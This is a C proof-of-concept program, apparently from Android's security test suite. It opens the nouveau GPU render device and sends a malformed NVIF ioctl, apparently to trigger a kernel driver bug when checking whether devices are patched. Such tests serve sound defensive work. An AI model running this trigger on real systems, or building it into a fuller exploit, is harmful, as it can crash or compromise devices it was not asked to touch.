1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define _GNU_SOURCE
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <pthread.h>
21 #include <sched.h>
22 #include <stdio.h>
23 #include <stdlib.h>
24 #include <sys/ioctl.h>
25 #include <sys/stat.h>
26 #include <sys/syscall.h>
27 #include <sys/types.h>
28 #include <unistd.h>
29
30 #include "local_poc.h"
31
32 #define DEV "/dev/dri/renderD128"
33
34 int dev_fd;
35
36 enum nouveau_drm_object_route {
37 NVDRM_OBJECT_NVIF = 0,
38 NVDRM_OBJECT_USIF,
39 NVDRM_OBJECT_ABI16,
40 };
41
42 struct nvif_ioctl_v0 s_nvif;
43
main()44 int main() {
45 int ret;
46
47 dev_fd = open(DEV, O_RDONLY);
48
49 if (dev_fd == -1) {
50 return 0;
51 }
52
53 s_nvif.type = 0x3;
54
55 ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif);
56 }
57